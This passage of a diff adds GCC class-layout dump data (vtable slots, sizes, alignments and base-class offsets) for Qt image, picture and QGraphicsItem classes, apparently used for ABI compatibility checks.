+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 __cxa_pure_virtual
+60 __cxa_pure_virtual
+64 __cxa_pure_virtual
+68 (int (*)(...))-0x000000008
+72 (int (*)(...))(& _ZTI14QImageIOPlugin)
+76 QImageIOPlugin::_ZThn8_N14QImageIOPluginD1Ev
+80 QImageIOPlugin::_ZThn8_N14QImageIOPluginD0Ev
+84 __cxa_pure_virtual
+88 __cxa_pure_virtual
+
+Class QImageIOPlugin
+ size=12 align=4
+ base size=12 base align=4
+QImageIOPlugin (0xb2139410) 0
+ vptr=((& QImageIOPlugin::_ZTV14QImageIOPlugin) + 8u)
+ QObject (0xb2137294) 0
+ primary-for QImageIOPlugin (0xb2139410)
+ QImageIOHandlerFactoryInterface (0xb20efe80) 8 nearly-empty
+ vptr=((& QImageIOPlugin::_ZTV14QImageIOPlugin) + 76u)
+ QFactoryInterface (0xb21372d0) 8 nearly-empty
+ primary-for QImageIOHandlerFactoryInterface (0xb20efe80)
+
+Class QImageReader
+ size=4 align=4
+ base size=4 base align=4
+QImageReader (0xb21374ec) 0
+
+Class QImageWriter
+ size=4 align=4
+ base size=4 base align=4
+QImageWriter (0xb2137528) 0
+
+Vtable for QMovie
+QMovie::_ZTV6QMovie: 14u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI6QMovie)
+8 QMovie::metaObject
+12 QMovie::qt_metacast
+16 QMovie::qt_metacall
+20 QMovie::~QMovie
+24 QMovie::~QMovie
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+
+Class QMovie
+ size=8 align=4
+ base size=8 base align=4
+QMovie (0xb2142280) 0
+ vptr=((& QMovie::_ZTV6QMovie) + 8u)
+ QObject (0xb2137564) 0
+ primary-for QMovie (0xb2142280)
+
+Vtable for QPicture
+QPicture::_ZTV8QPicture: 8u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI8QPicture)
+8 QPicture::~QPicture
+12 QPicture::~QPicture
+16 QPicture::devType
+20 QPicture::paintEngine
+24 QPicture::metric
+28 QPicture::setData
+
+Class QPicture
+ size=12 align=4
+ base size=12 base align=4
+QPicture (0xb21428c0) 0
+ vptr=((& QPicture::_ZTV8QPicture) + 8u)
+ QPaintDevice (0xb2137870) 0
+ primary-for QPicture (0xb21428c0)
+
+Class QPictureIO
+ size=4 align=4
+ base size=4 base align=4
+QPictureIO (0xb2137b04) 0
+
+Vtable for QPictureFormatInterface
+QPictureFormatInterface::_ZTV23QPictureFormatInterface: 8u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI23QPictureFormatInterface)
+8 QPictureFormatInterface::~QPictureFormatInterface
+12 QPictureFormatInterface::~QPictureFormatInterface
+16 __cxa_pure_virtual
+20 __cxa_pure_virtual
+24 __cxa_pure_virtual
+28 __cxa_pure_virtual
+
+Class QPictureFormatInterface
+ size=4 align=4
+ base size=4 base align=4
+QPictureFormatInterface (0xb2142c00) 0 nearly-empty
+ vptr=((& QPictureFormatInterface::_ZTV23QPictureFormatInterface) + 8u)
+ QFactoryInterface (0xb2137b40) 0 nearly-empty
+ primary-for QPictureFormatInterface (0xb2142c00)
+
+Vtable for QPictureFormatPlugin
+QPictureFormatPlugin::_ZTV20QPictureFormatPlugin: 26u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI20QPictureFormatPlugin)
+8 QPictureFormatPlugin::metaObject
+12 QPictureFormatPlugin::qt_metacast
+16 QPictureFormatPlugin::qt_metacall
+20 QPictureFormatPlugin::~QPictureFormatPlugin
+24 QPictureFormatPlugin::~QPictureFormatPlugin
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 __cxa_pure_virtual
+60 QPictureFormatPlugin::loadPicture
+64 QPictureFormatPlugin::savePicture
+68 __cxa_pure_virtual
+72 (int (*)(...))-0x000000008
+76 (int (*)(...))(& _ZTI20QPictureFormatPlugin)
+80 QPictureFormatPlugin::_ZThn8_N20QPictureFormatPluginD1Ev
+84 QPictureFormatPlugin::_ZThn8_N20QPictureFormatPluginD0Ev
+88 __cxa_pure_virtual
+92 QPictureFormatPlugin::_ZThn8_N20QPictureFormatPlugin11loadPictureERK7QStringS2_P8QPicture
+96 QPictureFormatPlugin::_ZThn8_N20QPictureFormatPlugin11savePictureERK7QStringS2_RK8QPicture
+100 __cxa_pure_virtual
+
+Class QPictureFormatPlugin
+ size=12 align=4
+ base size=12 base align=4
+QPictureFormatPlugin (0xb21ba410) 0
+ vptr=((& QPictureFormatPlugin::_ZTV20QPictureFormatPlugin) + 8u)
+ QObject (0xb2137e4c) 0
+ primary-for QPictureFormatPlugin (0xb21ba410)
+ QPictureFormatInterface (0xb2142ec0) 8 nearly-empty
+ vptr=((& QPictureFormatPlugin::_ZTV20QPictureFormatPlugin) + 80u)
+ QFactoryInterface (0xb2137e88) 8 nearly-empty
+ primary-for QPictureFormatInterface (0xb2142ec0)
+
+Class QPixmapCache::Key
+ size=4 align=4
+ base size=4 base align=4
+QPixmapCache::Key (0xb21c6000) 0
+
+Class QPixmapCache
+ size=1 align=1
+ base size=0 base align=1
+QPixmapCache (0xb2137fb4) 0 empty
+
+Vtable for QGraphicsItem
+QGraphicsItem::_ZTV13QGraphicsItem: 39u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI13QGraphicsItem)
+8 QGraphicsItem::~QGraphicsItem
+12 QGraphicsItem::~QGraphicsItem
+16 QGraphicsItem::advance
+20 __cxa_pure_virtual
+24 QGraphicsItem::shape
+28 QGraphicsItem::contains
+32 QGraphicsItem::collidesWithItem
+36 QGraphicsItem::collidesWithPath
+40 QGraphicsItem::isObscuredBy
+44 QGraphicsItem::opaqueArea
+48 __cxa_pure_virtual
+52 QGraphicsItem::type
+56 QGraphicsItem::sceneEventFilter
+60 QGraphicsItem::sceneEvent
+64 QGraphicsItem::contextMenuEvent
+68 QGraphicsItem::dragEnterEvent
+72 QGraphicsItem::dragLeaveEvent
+76 QGraphicsItem::dragMoveEvent
+80 QGraphicsItem::dropEvent
+84 QGraphicsItem::focusInEvent
+88 QGraphicsItem::focusOutEvent
+92 QGraphicsItem::hoverEnterEvent
+96 QGraphicsItem::hoverMoveEvent
+100 QGraphicsItem::hoverLeaveEvent
+104 QGraphicsItem::keyPressEvent
+108 QGraphicsItem::keyReleaseEvent
+112 QGraphicsItem::mousePressEvent
+116 QGraphicsItem::mouseMoveEvent
+120 QGraphicsItem::mouseReleaseEvent
+124 QGraphicsItem::mouseDoubleClickEvent
+128 QGraphicsItem::wheelEvent
+132 QGraphicsItem::inputMethodEvent
+136 QGraphicsItem::inputMethodQuery
+140 QGraphicsItem::itemChange
+144 QGraphicsItem::supportsExtension
+148 QGraphicsItem::setExtension
+152 QGraphicsItem::extension
+
+Class QGraphicsItem
+ size=8 align=4
+ base size=8 base align=4
+QGraphicsItem (0xb21c6078) 0
+ vptr=((& QGraphicsItem::_ZTV13QGraphicsItem) + 8u)
+
+Vtable for QGraphicsObject
+QGraphicsObject::_ZTV15QGraphicsObject: 53u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI15QGraphicsObject)
+8 QGraphicsObject::metaObject
+12 QGraphicsObject::qt_metacast
+16 QGraphicsObject::qt_metacall
+20 QGraphicsObject::~QGraphicsObject
+24 QGraphicsObject::~QGraphicsObject
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 (int (*)(...))-0x000000008
+60 (int (*)(...))(& _ZTI15QGraphicsObject)
+64 QGraphicsObject::_ZThn8_N15QGraphicsObjectD1Ev
+68 QGraphicsObject::_ZThn8_N15QGraphicsObjectD0Ev
+72 QGraphicsItem::advance
+76 __cxa_pure_virtual
+80 QGraphicsItem::shape
+84 QGraphicsItem::contains
+88 QGraphicsItem::collidesWithItem
+92 QGraphicsItem::collidesWithPath
+96 QGraphicsItem::isObscuredBy
+100 QGraphicsItem::opaqueArea
+104 __cxa_pure_virtual
+108 QGraphicsItem::type
+112 QGraphicsItem::sceneEventFilter
+116 QGraphicsItem::sceneEvent
+120 QGraphicsItem::contextMenuEvent
+124 QGraphicsItem::dragEnterEvent
+128 QGraphicsItem::dragLeaveEvent
+132 QGraphicsItem::dragMoveEvent
+136 QGraphicsItem::dropEvent
+140 QGraphicsItem::focusInEvent
+144 QGraphicsItem::focusOutEvent
+148 QGraphicsItem::hoverEnterEvent
+152 QGraphicsItem::hoverMoveEvent
+156 QGraphicsItem::hoverLeaveEvent
+160 QGraphicsItem::keyPressEvent
+164 QGraphicsItem::keyReleaseEvent
+168 QGraphicsItem::mousePressEvent
+172 QGraphicsItem::mouseMoveEvent
+176 QGraphicsItem::mouseReleaseEvent
+180 QGraphicsItem::mouseDoubleClickEvent
+184 QGraphicsItem::wheelEvent
+188 QGraphicsItem::inputMethodEvent
+192 QGraphicsItem::inputMethodQuery
+196 QGraphicsItem::itemChange
+200 QGraphicsItem::supportsExtension
+204 QGraphicsItem::setExtension
+208 QGraphicsItem::extension
+
+Class QGraphicsObject
+ size=16 align=4
+ base size=16 base align=4
+QGraphicsObject (0xb2052190) 0
+ vptr=((& QGraphicsObject::_ZTV15QGraphicsObject) + 8u)
+ QObject (0xb204f258) 0
+ primary-for QGraphicsObject (0xb2052190)
+ QGraphicsItem (0xb204f294) 8
+ vptr=((& QGraphicsObject::_ZTV15QGraphicsObject) + 64u)
+
+Vtable for QAbstractGraphicsShapeItem
+QAbstractGraphicsShapeItem::_ZTV26QAbstractGraphicsShapeItem: 39u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI26QAbstractGraphicsShapeItem)
+8 QAbstractGraphicsShapeItem::~QAbstractGraphicsShapeItem
+12 QAbstractGraphicsShapeItem::~QAbstractGraphicsShapeItem
+16 QGraphicsItem::advance
+20 __cxa_pure_virtual
+24 QGraphicsItem::shape
+28 QGraphicsItem::contains
+32 QGraphicsItem::collidesWithItem
+36 QGraphicsItem::collidesWithPath
+40 QAbstractGraphicsShapeItem::isObscuredBy
+44 QAbstractGraphicsShapeItem::opaqueArea
+48 __cxa_pure_virtual
+52 QGraphicsItem::type
+56 QGraphicsItem::sceneEventFilter
+60 QGraphicsItem::sceneEvent
+64 QGraphicsItem::contextMenuEvent
+68 QGraphicsItem::dragEnterEvent
+72 QGraphicsItem::dragLeaveEvent
+76 QGraphicsItem::dragMoveEvent
+80 QGraphicsItem::dropEvent
+84 QGraphicsItem::focusInEvent
+88 QGraphicsItem::focusOutEvent
+92 QGraphicsItem::hoverEnterEvent
+96 QGraphicsItem::hoverMoveEvent
+100 QGraphicsItem::hoverLeaveEvent
+104 QGraphicsItem::keyPressEvent
+108 QGraphicsItem::keyReleaseEvent
+112 QGraphicsItem::mousePressEvent
+116 QGraphicsItem::mouseMoveEvent
+120 QGraphicsItem::mouseReleaseEvent
+124 QGraphicsItem::mouseDoubleClickEvent
+128 QGraphicsItem::wheelEvent
+132 QGraphicsItem::inputMethodEvent
+136 QGraphicsItem::inputMethodQuery
+140 QGraphicsItem::itemChange
+144 QGraphicsItem::supportsExtension
+148 QGraphicsItem::setExtension
+152 QGraphicsItem::extension
+
+Class QAbstractGraphicsShapeItem
+ size=8 align=4
+ base size=8 base align=4
+QAbstractGraphicsShapeItem (0xb205c080) 0
+ vptr=((& QAbstractGraphicsShapeItem::_ZTV26QAbstractGraphicsShapeItem) + 8u)
+ QGraphicsItem (0xb204f3c0) 0
+ primary-for QAbstractGraphicsShapeItem (0xb205c080)
+
+Vtable for QGraphicsPathItem
+QGraphicsPathItem::_ZTV17QGraphicsPathItem: 39u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI17QGraphicsPathItem)
+8 QGraphicsPathItem::~QGraphicsPathItem
+12 QGraphicsPathItem::~QGraphicsPathItem
+16 QGraphicsItem::advance
+20 QGraphicsPathItem::boundingRect
+24 QGraphicsPathItem::shape
+28 QGraphicsPathItem::contains
+32 QGraphicsItem::collidesWithItem
+36 QGraphicsItem::collidesWithPath
+40 QGraphicsPathItem::isObscuredBy
+44 QGraphicsPathItem::opaqueArea
+48 QGraphicsPathItem::paint
+52 QGraphicsPathItem::type
+56 QGraphicsItem::sceneEventFilter
+60 QGraphicsItem::sceneEvent
+64 QGraphicsItem::contextMenuEvent
+68 QGraphicsItem::dragEnterEvent
+72 QGraphicsItem::dragLeaveEvent
+76 QGraphicsItem::dragMoveEvent
+80 QGraphicsItem::dropEvent
+84 QGraphicsItem::focusInEvent
+88 QGraphicsItem::focusOutEvent
+92 QGraphicsItem::hoverEnterEvent
+96 QGraphicsItem::hoverMoveEvent
+100 QGraphicsItem::hoverLeaveEvent
+104 QGraphicsItem::keyPressEvent
+108 QGraphicsItem::keyReleaseEvent
+112 QGraphicsItem::mousePressEvent
+116 QGraphicsItem::mouseMoveEvent
+120 QGraphicsItem::mouseReleaseEvent
+124 QGraphicsItem::mouseDoubleClickEvent
+128 QGraphicsItem::wheelEvent
+132 QGraphicsItem::inputMethodEvent
+136 QGraphicsItem::inputMethodQuery
+140 QGraphicsItem::itemChange
+144 QGraphicsPathItem::supportsExtension
+148 QGraphicsPathItem::setExtension
+152 QGraphicsPathItem::extension
+
+Class QGraphicsPathItem
+ size=8 align=4
+ base size=8 base align=4
+QGraphicsPathItem (0xb205c180) 0
+ vptr=((& QGraphicsPathItem::_ZTV17QGraphicsPathItem) + 8u)
+ QAbstractGraphicsShapeItem (0xb205c1c0) 0
+ primary-for QGraphicsPathItem (0xb205c180)
+ QGraphicsItem (0xb204f4ec) 0
+ primary-for QAbstractGraphicsShapeItem (0xb205c1c0)
+
+Vtable for QGraphicsRectItem
+QGraphicsRectItem::_ZTV17QGraphicsRectItem: 39u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI17QGraphicsRectItem)
+8 QGraphicsRectItem::~QGraphicsRectItem
+12 QGraphicsRectItem::~QGraphicsRectItem
+16 QGraphicsItem::advance
+20 QGraphicsRectItem::boundingRect
+24 QGraphicsRectItem::shape
+28 QGraphicsRectItem::contains
+32 QGraphicsItem::collidesWithItem
+36 QGraphicsItem::collidesWithPath
+40 QGraphicsRectItem::isObscuredBy
+44 QGraphicsRectItem::opaqueArea
+48 QGraphicsRectItem::paint
+52 QGraphicsRectItem::type
+56 QGraphicsItem::sceneEventFilter
+60 QGraphicsItem::sceneEvent
+64 QGraphicsItem::contextMenuEvent
+68 QGraphicsItem::dragEnterEvent
+72 QGraphicsItem::dragLeaveEvent
+76 QGraphicsItem::dragMoveEvent
+80 QGraphicsItem::dropEvent
+84 QGraphicsItem::focusInEvent
+88 QGraphicsItem::focusOutEvent
+92 QGraphicsItem::hoverEnterEvent
+96 QGraphicsItem::hoverMoveEvent
+100 QGraphicsItem::hoverLeaveEvent
+104 QGraphicsItem::keyPressEvent
+108 QGraphicsItem::keyReleaseEvent
+112 QGraphicsItem::mousePressEvent
+116 QGraphicsItem::mouseMoveEvent
+120 QGraphicsItem::mouseReleaseEvent
+124 QGraphicsItem::mouseDoubleClickEvent
+128 QGraphicsItem::wheelEvent
+132 QGraphicsItem::inputMethodEvent
+136 QGraphicsItem::inputMethodQuery
+140 QGraphicsItem::itemChange
+144 QGraphicsRectItem::supportsExtension
+148 QGraphicsRectItem::setExtension
+152 QGraphicsRectItem::extension
+
+Class QGraphicsRectItem
+ size=8 align=4
+ base size=8 base align=4
+QGraphicsRectItem (0xb205c2c0) 0
+ vptr=((& QGraphicsRectItem::_ZTV17QGraphicsRectItem) + 8u)
+ QAbstractGraphicsShapeItem (0xb205c300) 0
+ primary-for QGraphicsRectItem (0xb205c2c0)
+ QGraphicsItem (0xb204f618) 0
+ primary-for QAbstractGraphicsShapeItem (0xb205c300)
+
+Vtable for QGraphicsEllipseItem
+QGraphicsEllipseItem::_ZTV20QGraphicsEllipseItem: 39u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI20QGraphicsEllipseItem)
+8 QGraphicsEllipseItem::~QGraphicsEllipseItem
+12 QGraphicsEllipseItem::~QGraphicsEllipseItem
+16 QGraphicsItem::advance
+20 QGraphicsEllipseItem::boundingRect
+24 QGraphicsEllipseItem::shape
+28 QGraphicsEllipseItem::contains
+32 QGraphicsItem::collidesWithItem
+36 QGraphicsItem::collidesWithPath
+40 QGraphicsEllipseItem::isObscuredBy
+44 QGraphicsEllipseItem::opaqueArea
+48 QGraphicsEllipseItem::paint
+52 QGraphicsEllipseItem::type
+56 QGraphicsItem::sceneEventFilter
+60 QGraphicsItem::sceneEvent
+64 QGraphicsItem::contextMenuEvent
+68 QGraphicsItem::dragEnterEvent
+72 QGraphicsItem::dragLeaveEvent
+76 QGraphicsItem::dragMoveEvent
+80 QGraphicsItem::dropEvent
+84 QGraphicsItem::focusInEvent
+88 QGraphicsItem::focusOutEvent
+92 QGraphicsItem::hoverEnterEvent
+96 QGraphicsItem::hoverMoveEvent
+100 QGraphicsItem::hoverLeaveEvent
+104 QGraphicsItem::keyPressEvent
+108 QGraphicsItem::keyReleaseEvent
+112 QGraphicsItem::mousePressEvent
+116 QGraphicsItem::mouseMoveEvent
+120 QGraphicsItem::mouseReleaseEvent
+124 QGraphicsItem::mouseDoubleClickEvent
+128 QGraphicsItem::wheelEvent
+132 QGraphicsItem::inputMethodEvent
+136 QGraphicsItem::inputMethodQuery
+140 QGraphicsItem::itemChange
+144 QGraphicsEllipseItem::supportsExtension
+148 QGraphicsEllipseItem::setExtension
+152 QGraphicsEllipseItem::extension
+
+Class QGraphicsEllipseItem
+ size=8 align=4
+ base size=8 base align=4
+QGraphicsEllipseItem (0xb205c440) 0
+ vptr=((& QGraphicsEllipseItem::_ZTV20QGraphicsEllipseItem) + 8u)
+ QAbstractGraphicsShapeItem (0xb205c480) 0
+ primary-for QGraphicsEllipseItem (0xb205c440)
+ QGraphicsItem (0xb204f7f8) 0
+ primary-for QAbstractGraphicsShapeItem (0xb205c480)
+
+Vtable for QGraphicsPolygonItem
+QGraphicsPolygonItem::_ZTV20QGraphicsPolygonItem: 39u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI20QGraphicsPolygonItem)
+8 QGraphicsPolygonItem::~QGraphicsPolygonItem
+12 QGraphicsPolygonItem::~QGraphicsPolygonItem
+16 QGraphicsItem::advance
+20 QGraphicsPolygonItem::boundingRect
+24 QGraphicsPolygonItem::shape
+28 QGraphicsPolygonItem::contains
+32 QGraphicsItem::collidesWithItem
+36 QGraphicsItem::collidesWithPath
+40 QGraphicsPolygonItem::isObscuredBy
+44 QGraphicsPolygonItem::opaqueArea
+48 QGraphicsPolygonItem::paint
+52 QGraphicsPolygonItem::type
+56 QGraphicsItem::sceneEventFilter
+60 QGraphicsItem::sceneEvent
+64 QGraphicsItem::contextMenuEvent
+68 QGraphicsItem::dragEnterEvent
+72 QGraphicsItem::dragLeaveEvent
+76 QGraphicsItem::dragMoveEvent
+80 QGraphicsItem::dropEvent
+84 QGraphicsItem::focusInEvent
+88 QGraphicsItem::focusOutEvent
+92 QGraphicsItem::hoverEnterEvent
+96 QGraphicsItem::hoverMoveEvent
+100 QGraphicsItem::hoverLeaveEvent
+104 QGraphicsItem::keyPressEvent
+108 QGraphicsItem::keyReleaseEvent
+112 QGraphicsItem::mousePressEvent
+116 QGraphicsItem::mouseMoveEvent
+120 QGraphicsItem::mouseReleaseEvent
+124 QGraphicsItem::mouseDoubleClickEvent
+128 QGraphicsItem::wheelEvent
+132 QGraphicsItem::inputMethodEvent
+136 QGraphicsItem::inputMethodQuery
+140 QGraphicsItem::itemChange
+144 QGraphicsPolygonItem::supportsExtension
+148 QGraphicsPolygonItem::setExtension
+152 QGraphicsPolygonItem::extension
+
+Class QGraphicsPolygonItem
+ size=8 align=4
+ base size=8 base align=4
+QGraphicsPolygonItem (0xb205c5c0) 0
+ vptr=((& QGraphicsPolygonItem::_ZTV20QGraphicsPolygonItem) + 8u)
+ QAbstractGraphicsShapeItem (0xb205c600) 0
+ primary-for QGraphicsPolygonItem (0xb205c5c0)
+ QGraphicsItem (0xb204f9d8) 0
+ primary-for QAbstractGraphicsShapeItem (0xb205c600)
+
+Vtable for QGraphicsLineItem
+QGraphicsLineItem::_ZTV17QGraphicsLineItem: 39u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI17QGraphicsLineItem)
+8 QGraphicsLineItem::~QGraphicsLineItem
+12 QGraphicsLineItem::~QGraphicsLineItem
+16 QGraphicsItem::advance
+20 QGraphicsLineItem::boundingRect
+24 QGraphicsLineItem::shape
+28 QGraphicsLineItem::contains
+32 QGraphicsItem::collidesWithItem
+36 QGraphicsItem::collidesWithPath
+40 QGraphicsLineItem::isObscuredBy
+44 QGraphicsLineItem::opaqueArea
+48 QGraphicsLineItem::paint
+52 QGraphicsLineItem::type
+56 QGraphicsItem::sceneEventFilter
+60 QGraphicsItem::sceneEvent
+64 QGraphicsItem::contextMenuEvent
+68 QGraphicsItem::dragEnterEvent
+72 QGraphicsItem::dragLeaveEvent
+76 QGraphicsItem::dragMoveEvent
+80 QGraphicsItem::dropEvent
+84 QGraphicsItem::focusInEvent
+88 QGraphicsItem::focusOutEvent
+92 QGraphicsItem::hoverEnterEvent
+96 QGraphicsItem::hoverMoveEvent
+100 QGraphicsItem::hoverLeaveEvent
+104 QGraphicsItem::keyPressEvent
+108 QGraphicsItem::keyReleaseEvent
+112 QGraphicsItem::mousePressEvent
+116 QGraphicsItem::mouseMoveEvent
+120 QGraphicsItem::mouseReleaseEvent
+124 QGraphicsItem::mouseDoubleClickEvent
+128 QGraphicsItem::wheelEvent
+132 QGraphicsItem::inputMethodEvent
+136 QGraphicsItem::inputMethodQuery
+140 QGraphicsItem::itemChange
+144 QGraphicsLineItem::supportsExtension
+148 QGraphicsLineItem::setExtension
+152 QGraphicsLineItem::extension
+
+Class QGraphicsLineItem
+ size=8 align=4
+ base size=8 base align=4
+QGraphicsLineItem (0xb205c700) 0
+ vptr=((& QGraphicsLineItem::_ZTV17QGraphicsLineItem) + 8u)
+ QGraphicsItem (0xb204fb04) 0
+ primary-for QGraphicsLineItem (0xb205c700)
+
+Vtable for QGraphicsPixmapItem
+QGraphicsPixmapItem::_ZTV19QGraphicsPixmapItem: 39u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI19QGraphicsPixmapItem)
+8 QGraphicsPixmapItem::~QGraphicsPixmapItem
+12 QGraphicsPixmapItem::~QGraphicsPixmapItem
+16 QGraphicsItem::advance
+20 QGraphicsPixmapItem::boundingRect
+24 QGraphicsPixmapItem::shape
+28 QGraphicsPixmapItem::contains
+32 QGraphicsItem::collidesWithItem
+36 QGraphicsItem::collidesWithPath
+40 QGraphicsPixmapItem::isObscuredBy
+44 QGraphicsPixmapItem::opaqueArea
+48 QGraphicsPixmapItem::paint
+52 QGraphicsPixmapItem::type
+56 QGraphicsItem::sceneEventFilter
+60 QGraphicsItem::sceneEvent
+64 QGraphicsItem::contextMenuEvent
+68 QGraphicsItem::dragEnterEvent
+72 QGraphicsItem::dragLeaveEvent
+76 QGraphicsItem::dragMoveEvent
+80 QGraphicsItem::dropEvent
+84 QGraphicsItem::focusInEvent
+88 QGraphicsItem::focusOutEvent
+92 QGraphicsItem::hoverEnterEvent
+96 QGraphicsItem::hoverMoveEvent
+100 QGraphicsItem::hoverLeaveEvent
+104 QGraphicsItem::keyPressEvent
+108 QGraphicsItem::keyReleaseEvent
+112 QGraphicsItem::mousePressEvent
+116 QGraphicsItem::mouseMoveEvent
+120 QGraphicsItem::mouseReleaseEvent
+124 QGraphicsItem::mouseDoubleClickEvent
+128 QGraphicsItem::wheelEvent
+132 QGraphicsItem::inputMethodEvent
+136 QGraphicsItem::inputMethodQuery
+140 QGraphicsItem::itemChange
+144 QGraphicsPixmapItem::supportsExtension
+148 QGraphicsPixmapItem::setExtension
+152 QGraphicsPixmapItem::extension
+
+Class QGraphicsPixmapItem
+ size=8 align=4
+ base size=8 base align=4
+QGraphicsPixmapItem (0xb205c840) 0
+ vptr=((& QGraphicsPixmapItem::_ZTV19QGraphicsPixmapItem) + 8u)
+ QGraphicsItem (0xb204fce4) 0
+ primary-for QGraphicsPixmapItem (0xb205c840)
+
+Vtable for QGraphicsTextItem
+QGraphicsTextItem::_ZTV17QGraphicsTextItem: 82u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI17QGraphicsTextItem)
+8 QGraphicsTextItem::metaObject
+12 QGraphicsTextItem::qt_metacast
+16 QGraphicsTextItem::qt_metacall
+20 QGraphicsTextItem::~QGraphicsTextItem
+24 QGraphicsTextItem::~QGraphicsTextItem
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QGraphicsTextItem::boundingRect
+60 QGraphicsTextItem::shape
+64 QGraphicsTextItem::contains
+68 QGraphicsTextItem::paint
+72 QGraphicsTextItem::isObscuredBy
+76 QGraphicsTextItem::opaqueArea
+80 QGraphicsTextItem::type
+84 QGraphicsTextItem::sceneEvent
+88 QGraphicsTextItem::mousePressEvent
+92 QGraphicsTextItem::mouseMoveEvent
+96 QGraphicsTextItem::mouseReleaseEvent
+100 QGraphicsTextItem::mouseDoubleClickEvent
+104 QGraphicsTextItem::contextMenuEvent
+108 QGraphicsTextItem::keyPressEvent
+112 QGraphicsTextItem::keyReleaseEvent
+116 QGraphicsTextItem::focusInEvent
+120 QGraphicsTextItem::focusOutEvent
+124 QGraphicsTextItem::dragEnterEvent
+128 QGraphicsTextItem::dragLeaveEvent
+132 QGraphicsTextItem::dragMoveEvent
+136 QGraphicsTextItem::dropEvent
+140 QGraphicsTextItem::inputMethodEvent
+144 QGraphicsTextItem::hoverEnterEvent
+148 QGraphicsTextItem::hoverMoveEvent
+152 QGraphicsTextItem::hoverLeaveEvent
+156 QGraphicsTextItem::inputMethodQuery
+160 QGraphicsTextItem::supportsExtension
+164 QGraphicsTextItem::setExtension
+168 QGraphicsTextItem::extension
+172 (int (*)(...))-0x000000008
+176 (int (*)(...))(& _ZTI17QGraphicsTextItem)
+180 QGraphicsTextItem::_ZThn8_N17QGraphicsTextItemD1Ev
+184 QGraphicsTextItem::_ZThn8_N17QGraphicsTextItemD0Ev
+188 QGraphicsItem::advance
+192 QGraphicsTextItem::_ZThn8_NK17QGraphicsTextItem12boundingRectEv
+196 QGraphicsTextItem::_ZThn8_NK17QGraphicsTextItem5shapeEv
+200 QGraphicsTextItem::_ZThn8_NK17QGraphicsTextItem8containsERK7QPointF
+204 QGraphicsItem::collidesWithItem
+208 QGraphicsItem::collidesWithPath
+212 QGraphicsTextItem::_ZThn8_NK17QGraphicsTextItem12isObscuredByEPK13QGraphicsItem
+216 QGraphicsTextItem::_ZThn8_NK17QGraphicsTextItem10opaqueAreaEv
+220 QGraphicsTextItem::_ZThn8_N17QGraphicsTextItem5paintEP8QPainterPK24QStyleOptionGraphicsItemP7QWidget
+224 QGraphicsTextItem::_ZThn8_NK17QGraphicsTextItem4typeEv
+228 QGraphicsItem::sceneEventFilter
+232 QGraphicsTextItem::_ZThn8_N17QGraphicsTextItem10sceneEventEP6QEvent
+236 QGraphicsTextItem::_ZThn8_N17QGraphicsTextItem16contextMenuEventEP30QGraphicsSceneContextMenuEvent
+240 QGraphicsTextItem::_ZThn8_N17QGraphicsTextItem14dragEnterEventEP27QGraphicsSceneDragDropEvent
+244 QGraphicsTextItem::_ZThn8_N17QGraphicsTextItem14dragLeaveEventEP27QGraphicsSceneDragDropEvent
+248 QGraphicsTextItem::_ZThn8_N17QGraphicsTextItem13dragMoveEventEP27QGraphicsSceneDragDropEvent
+252 QGraphicsTextItem::_ZThn8_N17QGraphicsTextItem9dropEventEP27QGraphicsSceneDragDropEvent
+256 QGraphicsTextItem::_ZThn8_N17QGraphicsTextItem12focusInEventEP11QFocusEvent
+260 QGraphicsTextItem::_ZThn8_N17QGraphicsTextItem13focusOutEventEP11QFocusEvent
+264 QGraphicsTextItem::_ZThn8_N17QGraphicsTextItem15hoverEnterEventEP24QGraphicsSceneHoverEvent
+268 QGraphicsTextItem::_ZThn8_N17QGraphicsTextItem14hoverMoveEventEP24QGraphicsSceneHoverEvent
+272 QGraphicsTextItem::_ZThn8_N17QGraphicsTextItem15hoverLeaveEventEP24QGraphicsSceneHoverEvent
+276 QGraphicsTextItem::_ZThn8_N17QGraphicsTextItem13keyPressEventEP9QKeyEvent
+280 QGraphicsTextItem::_ZThn8_N17QGraphicsTextItem15keyReleaseEventEP9QKeyEvent
+284 QGraphicsTextItem::_ZThn8_N17QGraphicsTextItem15mousePressEventEP24QGraphicsSceneMouseEvent
+288 QGraphicsTextItem::_ZThn8_N17QGraphicsTextItem14mouseMoveEventEP24QGraphicsSceneMouseEvent
+292 QGraphicsTextItem::_ZThn8_N17QGraphicsTextItem17mouseReleaseEventEP24QGraphicsSceneMouseEvent
+296 QGraphicsTextItem::_ZThn8_N17QGraphicsTextItem21mouseDoubleClickEventEP24QGraphicsSceneMouseEvent
+300 QGraphicsItem::wheelEvent
+304 QGraphicsTextItem::_ZThn8_N17QGraphicsTextItem16inputMethodEventEP17QInputMethodEvent
+308 QGraphicsTextItem::_ZThn8_NK17QGraphicsTextItem16inputMethodQueryEN2Qt16InputMethodQueryE
+312 QGraphicsItem::itemChange
+316 QGraphicsTextItem::_ZThn8_NK17QGraphicsTextItem17supportsExtensionEN13QGraphicsItem9ExtensionE
